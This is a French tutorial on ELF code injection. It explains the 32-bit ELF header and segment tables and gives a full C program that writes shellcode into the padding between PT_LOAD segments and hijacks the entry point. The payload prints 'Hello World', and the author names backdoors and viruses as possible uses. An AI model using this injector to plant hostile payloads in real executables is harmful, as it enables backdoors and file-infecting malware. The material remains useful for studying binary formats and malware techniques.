ELF Injection   Version imprimable de cet article Enregistrer au format PDF

Voici un descriptif rapide d’une injection de code au sein d’un fichier ELF. La méthode utilisée ici est l’insertion de code dans un segment de type PT_LOAD.
Bonne lecture !


par Tosh

Injection de code dans un fichier ELF.

Introduction

Je vais vous présenter une technique d’injection permettant d’insérer du code arbitraire au sein d’un fichier ELF.
Je ne m’intéresserai ici qu’aux exécutables 32 bits pour Linux.

Les utilités peuvent être nombreuses et variées, allant de l’insertion d’une backdoor, de la création d’un virus, ou encore de l’ajout d’une fonctionnalité dans un programme closed-source. (Même si dans le monde de Linux, ce cas est plutôt rare)

1) Format ELF

Avant toute chose, il est bon de rappeler quelques bases concernant le format exécutable ELF.

Tout d’abord, le format ELF est un format exécutable utilisé principalement sur les systèmes Unix/Linux.

Le fichier commence par une entête, donnant diverses informations sur le fichier tel que :
- Le point d’entrée du programme.
- Le type de fichier (Fichier exécutable, objet partagé...).
- Les offsets pour les tables de segments et de sections.

Cette entête peut être représentée par la structure suivante :

  1. typedef struct {
  2. unsigned char e_ident[EI_NIDENT];
  3. uint16_t e_type;
  4. uint16_t e_machine;
  5. uint32_t e_version;
  6. ElfN_Addr e_entry;
  7. ElfN_Off e_phoff;
  8. ElfN_Off e_shoff;
  9. uint32_t e_flags;
  10. uint16_t e_ehsize;
  11. uint16_t e_phentsize;
  12. uint16_t e_phnum;
  13. uint16_t e_shentsize;
  14. uint16_t e_shnum;
  15. uint16_t e_shstrndx;
  16. } ElfN_Ehdr;

Télécharger

On y trouve aussi une table d’entêtes segments, située à e_phoff octets à partir du début du fichier, contenant e_phnum entrées.

Chaque entête de segments contient diverses informations concernant le segment, comme :
- L’offset du début du segment.
- La taille du segment.
- Si le segment sera chargé en mémoire ou non.
- L’adresse où celui-ci est chargé.

Ces entêtes peuvent être réprésentées avec la structure :

  1. typedef struct {
  2. uint32_t p_type;
  3. Elf32_Off p_offset;
  4. Elf32_Addr p_vaddr;
  5. Elf32_Addr p_paddr;
  6. uint32_t p_filesz;
  7. uint32_t p_memsz;
  8. uint32_t p_flags;
  9. uint32_t p_align;
  10. } Elf32_Phdr;

Télécharger

La table des segments est donc un tableau de cette structure.

Il y a aussi une table d’entête de sections, mais celle-ci n’a pas beaucoup d’utilité pour l’injection à proprement parlé car elle ne contient
que des informations utiles pour le compilateur.

Mais il peut être tout de même intéressant de connaître son fonctionnement, dans le but d’offusquer l’exécutable par exemple, car beaucoup d’outils d’analyse s’appuient sur cette table.

2) Méthode

Les segments chargés en mémoire doivent être alignés sur une page mémoire, c’est à dire 0x1000 octets sur la plupart des architectures.
Le principe de l’injection reste très simple une fois que l’on a compris les grandes lignes du format ELF.
L’objectif va être d’insérer notre code entre deux segments PT_LOAD, afin de profiter de l’espace dût à cet alignement. (Il faut bien entendu que l’espace soit assez grand pour accueillir notre code)

Nous redirigerons ensuite le point d’entrée du programme sur notre code. Une fois notre code exécuté, celui-ci devra revenir au programme cible.

Le code inséré ne doit pas modifier l’état de la pile. (Car il peut y avoir les arguments du programme mis sur la pile).
Je réalise aussi un pusha (empile tous les registres) avant de débuter le code, et un popa (dépile tous les registres) avant le jmp final, car j’ai remarqué qu’il y avait des registres déjà initialisés au point d’entrée du programme, et qui pouvaient compromettre son bon fonctionnement.

Pour résumer, voici la marche à suivre pour réaliser notre injection :

- Trouver un espace assez grand entre deux segments PT_LOAD, pour y insérer notre code.
- A la fin de notre code, rajouter une instruction jmp qui retournera au point d’entrée initial.
- Modifier le point d’entrée pour qu’il pointe sur notre code.
- Mettre à jour la taille du segment où est effectuée l’insertion.

3) Injection

Nous avons la théorie, passons à la pratique en tentant d’injecter notre code dans la commande date.

Pour se faire, analysons notre fichier grâce à readelf :

Nous voyons que le programme commence à l’adresse 0x08049090.
Ensuite, on remarque que le premier segment PT_LOAD finis à l’offset 0x0ce20, et que le second débute à l’offset 0x0d000.

Celà nous laisse donc 480 octets pour y insérer le code de notre choix.

La dernière difficulté va être de trouver le bon offset pour l’instruction jmp, car il n’y a que des sauts relatifs en assembleur.
Pour obtenir cet offset, nous aurons en fait qu’à effectuer le calcul : ancienne_entrée - (nouvelle_entrée + taille_du_code).

Nous n’avons plus qu’à augmenter la taille du segment (dans l’entête), de la taille du code inséré.

Voilà, nous allons pouvoir tester ça en tentant d’insérer un shellcode affichant un Hello World :

Euréka ! Notre code est bien exécuté, et le programme fonctionne normalement.

Code de l’injecteur :

  1. /*
  2.   Code injector under ELF programs.
  3.  * ----------------------------------------------------------------------------
  4.  * "THE BEER-WARE LICENSE" (Revision 42):
  5.  * <tosh@tuxfamily.org> wrote this file. As long as you retain this notice you
  6.  * can do whatever you want with this stuff. If we meet some day, and you think
  7.  * this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
  8.  * ----------------------------------------------------------------------------
  9. */
  10.  
  11. #include <stdio.h>
  12. #include <string.h>
  13. #include <sys/types.h>
  14. #include <unistd.h>
  15. #include <sys/stat.h>
  16. #include <fcntl.h>
  17. #include <sys/mman.h>
  18. #include <elf.h>
  19. #include <stdlib.h>
  20. #include <errno.h>
  21.  
  22. const char shellcode[] = "x31xc0x31xdbx31xd2x68x72x6cx64x21xc6x44x24x03x0ax68x6fx20x77"
  23. "x6fx68x48x65x6cx6cx89xe1xb2x0cxb0x04xb3x01xcdx80xb2x0cx01xd4";
  24.  
  25. char jmp[] = "xe9xffxffxffxff";
  26. char pusha[] = "x60";
  27. char popa[] = "x61";
  28.  
  29. #define IS_ELF32(p,s) (s > sizeof(Elf32_Ehdr) && !memcmp(ELFMAG, p, SELFMAG) && p[EI_CLASS] == ELFCLASS32)
  30.  
  31. #define CODE_SIZE (sizeof(shellcode)-1 + sizeof(jmp)-1 + sizeof(pusha)-1 + sizeof(popa)-1)
  32.  
  33. /* Sur mon système, l'adresse de base où sera mappé le fichier est 0x08048000 */
  34. #define START_ADRESS (unsigned int) 0x08048000
  35.  
  36. #define ABORT(...) do{
  37. fprintf(stderr, __VA_ARGS__);
  38. if(errno) fprintf(stderr, " : %s", strerror(errno));
  39. fprintf(stderr, "nABORT!n");
  40. exit(0);
  41. }while(0)
  42.  
  43. #define CODE_OFFSET (phdr->p_offset + phdr->p_memsz)
  44.  
  45. #define CODE_ADRESS (START_ADRESS + CODE_OFFSET)
  46.  
  47. void insert_code(unsigned char *ptr)
  48. {
  49. /* On insert l'instruction pusha avant notre shellcode */
  50. memcpy(ptr, pusha, sizeof(pusha)-1);
  51. ptr += sizeof(pusha)-1;
  52.  
  53. /* On copie notre shellcode */
  54. memcpy(ptr, shellcode, sizeof(shellcode)-1);
  55. ptr += sizeof(shellcode)-1;
  56.  
  57. /* On place l'instruction popa juste avant notre JMP */
  58. memcpy(ptr, popa, sizeof(popa)-1);
  59. ptr += sizeof(popa)-1;
  60.  
  61. /* Et on termine par l'instruction JMP qui donnera la main au programme hote */
  62. memcpy(ptr, jmp, sizeof(jmp)-1);
  63. }
  64.  
  65. void inject_code(unsigned char *f_mmaped, struct stat *f_stat)
  66. {
  67. int i;
  68. Elf32_Ehdr *ehdr;
  69. Elf32_Phdr *phdr, *next;
  70. unsigned int last_entry;
  71. int jmp_adr;
  72.  
  73. /* On fait pointer l'entête ELF sur le début du fichier */
  74. ehdr = (void*)f_mmaped;
  75. /* On sauvegarde l'ancienne entrée du programme */
  76. last_entry = ehdr->e_entry;
  77.  
  78. /* Simple vérification du fichier */
  79. if((unsigned int)f_stat->st_size < (ehdr->e_phoff + ehdr->e_phnum * ehdr->e_phentsize))
  80. ABORT("[-] ELF malformed.");
  81.  
  82. /* On fait pointer l'entête de segment sur le début de la table de segment */
  83. phdr = (void*)f_mmaped + ehdr->e_phoff;
  84.  
  85. printf("[+] Find a free space under a PT_LOAD segment...n");
  86.  
  87. /* On recherche le premier segment PT_LOAD */
  88. for(i = 0; i < ehdr->e_phnum - 1; i++)
  89. {
  90. if(phdr->p_type == PT_LOAD)
  91. break;
  92. phdr++;
  93. }
  94. /* next pointe sur le prochain segment (l'entête) */
  95. next = phdr + 1;
  96.  
  97. /* On vérifie que nous avons bien deux segments PT_LOAD */
  98. if(next->p_type != PT_LOAD || phdr->p_type != PT_LOAD)
  99. ABORT("[-] Don't found two PT_LOAD segment.");
  100.  
  101. /* On vérifie que l'espace entre ces deux segments est suffisant pour y loger notre code */
  102. if(phdr->p_memsz != phdr->p_filesz || (CODE_OFFSET + CODE_SIZE) > (next->p_offset + phdr->p_offset))
  103. ABORT("[-] Don't found a free space.");
  104.  
  105. printf("[+] Free space found : %d bytes.n", (next->p_offset) - (CODE_OFFSET));
  106.  
  107.  
  108. printf("[+] Overwrite entry point (0x%.8x) programm with shellcode adress (0x%.8x)...n", last_entry, CODE_ADRESS);
  109. /* On écrase l'ancienne entrée du programme, par l'adresse où sera placé notre code */
  110. ehdr->e_entry = (START_ADRESS + phdr->p_offset + phdr->p_memsz);
  111.  
  112.  
  113. printf("[+] Inject fake jmp to last entry point...n");
  114. /* On modifie l'instruction JMP pour qu'elle retourne au point d'entrée initial */
  115. jmp_adr = (last_entry - (ehdr->e_entry + CODE_SIZE));
  116. memcpy(jmp+1, &jmp_adr, sizeof(int));
  117.  
  118. printf("[+] Inject code (%d bytes) at offset %.8x (virtual adress 0x%.8x)...n", CODE_SIZE, CODE_OFFSET, CODE_ADRESS);
  119.  
  120. insert_code(f_mmaped + CODE_OFFSET);
  121.  
  122. /* On augmente la taille du segment (dans l'entête ELF) où l'on a placé notre shellcode */
  123. printf("[+] Update segment size...n");
  124. phdr->p_memsz += CODE_SIZE;
  125. phdr->p_filesz += CODE_SIZE;
  126.  
  127. }
  128.  
  129. int main(int argc, char **argv)
  130. {
  131. int fd;
  132. struct stat f_stat;
  133. unsigned char *f_mmaped = NULL;
  134.  
  135. if(argc != 2)
  136. {
  137. ABORT("[-] Usage : %s <filename>", argv[0]);
  138. }
  139.  
  140. printf("[+] Open file %s...n", argv[1]);
  141. if((fd = open(argv[1], O_RDWR)) == -1)
  142. {
  143. ABORT("[-] open");
  144. }
  145.  
  146. if(fstat(fd, &f_stat) == -1)
  147. {
  148. ABORT("[-] fstat");
  149. }
  150.  
  151. /* On mmap le fichier en mémoire, ce qui sera beaucoup plus simple pour le modifier */
  152. printf("[+] Mmap file in memory...n");
  153. if((f_mmaped = mmap(NULL, f_stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == NULL)
  154. {
  155. ABORT("[-] mmap");
  156. }
  157.  
  158. if(!IS_ELF32(f_mmaped, (unsigned int)f_stat.st_size))
  159. {
  160. ABORT("[-] Not a ELF 32 executable.");
  161. }
  162.  
  163. printf("[+] Starting injection...n");
  164. inject_code(f_mmaped, &f_stat);
  165.  
  166.  
  167. if(munmap(f_mmaped, f_stat.st_size) == -1)
  168. {
  169. ABORT("[-] munmap");
  170. }
  171.  
  172. close(fd);
  173.  
  174. printf("[+] SUCCESSn");
  175. return 0;
  176. }

Télécharger

Enjoy :)

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique